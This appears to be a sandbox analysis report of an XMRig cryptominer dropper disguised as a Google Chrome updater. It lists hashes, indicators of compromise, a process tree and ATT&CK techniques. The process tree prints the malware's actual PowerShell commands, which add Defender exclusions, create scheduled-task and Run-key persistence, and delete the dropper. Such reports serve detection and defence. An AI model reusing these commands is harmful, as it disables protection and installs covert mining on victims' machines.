xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
471s
max time network
1795s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2240 created 1340	2240	Yvdp8t5knpQz7sFB.exe	6
PID 2240 created 1340	2240	Yvdp8t5knpQz7sFB.exe	6
PID 2240 created 1340	2240	Yvdp8t5knpQz7sFB.exe	6
PID 2240 created 1340	2240	Yvdp8t5knpQz7sFB.exe	6
PID 2152 created 1340	2152	updater.exe	6
PID 2152 created 1340	2152	updater.exe	6
PID 2152 created 1340	2152	updater.exe	6
PID 2152 created 1340	2152	updater.exe	6
PID 1676 created 1340	1676	conhost.exe	6
PID 2152 created 1340	2152	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral31/memory/1976-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2488	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2152	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2424	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/1976-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2152 set thread context of 1676	2152	updater.exe	52
PID 2152 set thread context of 1976	2152	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3024	schtasks.exe
2888	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1128	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10d3bff6a151da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2240	Yvdp8t5knpQz7sFB.exe
2240	Yvdp8t5knpQz7sFB.exe
2780	powershell.exe
2240	Yvdp8t5knpQz7sFB.exe
2240	Yvdp8t5knpQz7sFB.exe
2592	powershell.exe
2240	Yvdp8t5knpQz7sFB.exe
2240	Yvdp8t5knpQz7sFB.exe
2240	Yvdp8t5knpQz7sFB.exe
2240	Yvdp8t5knpQz7sFB.exe
2712	powershell.exe
2152	updater.exe
2152	updater.exe
1348	powershell.exe
2152	updater.exe
2152	updater.exe
1640	powershell.exe
2152	updater.exe
2152	updater.exe
2152	updater.exe
2152	updater.exe
1676	conhost.exe
1676	conhost.exe
2152	updater.exe
2152	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	2152	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: SeLockMemoryPrivilege	1976	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 3024	2592	powershell.exe	32
PID 2592 wrote to memory of 3024	2592	powershell.exe	32
PID 2592 wrote to memory of 3024	2592	powershell.exe	32
PID 2488 wrote to memory of 2636	2488	cmd.exe	35
PID 2488 wrote to memory of 2636	2488	cmd.exe	35
PID 2488 wrote to memory of 2636	2488	cmd.exe	35
PID 2712 wrote to memory of 2528	2712	powershell.exe	37
PID 2712 wrote to memory of 2528	2712	powershell.exe	37
PID 2712 wrote to memory of 2528	2712	powershell.exe	37
PID 2424 wrote to memory of 2152	2424	taskeng.exe	40
PID 2424 wrote to memory of 2152	2424	taskeng.exe	40
PID 2424 wrote to memory of 2152	2424	taskeng.exe	40
PID 1640 wrote to memory of 2888	1640	powershell.exe	45
PID 1640 wrote to memory of 2888	1640	powershell.exe	45
PID 1640 wrote to memory of 2888	1640	powershell.exe	45
PID 2152 wrote to memory of 1676	2152	updater.exe	52
PID 1860 wrote to memory of 1128	1860	cmd.exe	47
PID 1860 wrote to memory of 1128	1860	cmd.exe	47
PID 1860 wrote to memory of 1128	1860	cmd.exe	47
PID 2152 wrote to memory of 1976	2152	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1340
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:3024
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2888
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1852
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1860
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1676
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1976

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2636

C:\Windows\system32\taskeng.exe
taskeng.exe {7620B96C-0EA4-4623-911E-E76479B76CB7} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2152

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2528

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
92KB

MD5
139045b7767ed7be1a6c5922c9d94bed

SHA1
220cb27440a4e5f9458397f1b80546ec261f4fc0

SHA256
5b797beae659fb3e91de7c013db87c0777d096b5bb59f724df100fb0d52f509d

SHA512
490b386a592c600412cae1a020ccd17d8c8ce65f85bd7423f34659f17afc74c040d828809ff6ac0bbf09477c581ba89b98eb5e10580c16df810557b18df99a20

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.5MB

MD5
168b8e88c7e4b7b61d1383e92fcdfcb3

SHA1
4e0bba9bc28909a10073618a7aeddc64bece2672

SHA256
fd63fde141b53a77a4b8b0fdb10537c5beb1f4181b6ab11e39a68535bb2e79bf

SHA512
29fbc2bf0e043f7d9a143ff04442e73f90e546efc85f54ea39451210a143659292952668784ebff00cce4660eaadbc322e64dde70bd5052fa01db1762ac7a8ef

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
330729aa19f932bca0780b4f44158453

SHA1
b87b361fa750679c994c9b6d1c11e9f573497f74

SHA256
65920e4a9b3f7cb73a5c4622899b1401db2039cf4cc9e2bb2541183bc31a69e4

SHA512
11a4a4537444ca670ae5d64b5757b7e357f39c91a09d5b77b9585f5766e8fc44ed6663a612c49d1cf3be8beb5723e57c801caa6201846294c6e0edc50da894a9

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
270KB

MD5
921bfe8d1c828cb6e4e62270fcdf2f3b

SHA1
53ee519d98af23b4f0aeb1f7ef2b660ac1461d34

SHA256
eb4fbe979c359002bf7d11aa919aa4a37cdf3dd5e69b8aa023991a637ea604f0

SHA512
59b19a3b6d7990dec17354961b67afdc5194f73706326fb6d6dd049467fe504a6f9d60eb80c93fbef282cb9407a10fe66a4f8f2420ffa525d49d1811e3507414

Download Submit
memory/1348-51-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/1348-46-0x0000000001260000-0x00000000012E0000-memory.dmp

Filesize
512KB

Download
memory/1348-45-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/1348-47-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/1348-50-0x000000000126B000-0x00000000012D2000-memory.dmp

Filesize
412KB

Download
memory/1348-49-0x0000000001260000-0x00000000012E0000-memory.dmp

Filesize
512KB

Download
memory/1348-48-0x0000000001260000-0x00000000012E0000-memory.dmp

Filesize
512KB

Download
memory/1640-57-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-53-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1640-55-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1640-56-0x0000000001590000-0x0000000001610000-memory.dmp

Filesize
512KB

Download
memory/1640-54-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-52-0x000007FEF5580000-0x000007FEF5F1D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1676-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-65-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-67-0x0000000000F50000-0x0000000000F70000-memory.dmp

Filesize
128KB

Download
memory/1976-68-0x0000000001070000-0x0000000001090000-memory.dmp

Filesize
128KB

Download
memory/1976-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-74-0x0000000001070000-0x0000000001090000-memory.dmp

Filesize
128KB

Download
memory/1976-73-0x0000000000F50000-0x0000000000F70000-memory.dmp

Filesize
128KB

Download
memory/2152-64-0x000000013F5C0000-0x000000013F7D1000-memory.dmp

Filesize
2.1MB

Download
memory/2152-44-0x000000013F5C0000-0x000000013F7D1000-memory.dmp

Filesize
2.1MB

Download
memory/2240-0-0x000000013F210000-0x000000013F421000-memory.dmp

Filesize
2.1MB

Download
memory/2240-28-0x000000013F210000-0x000000013F421000-memory.dmp

Filesize
2.1MB

Download
memory/2592-21-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2592-23-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2592-26-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-25-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2592-24-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2592-22-0x000007FEF4BE0000-0x000007FEF557D000-memory.dmp

Filesize
9.6MB

Download
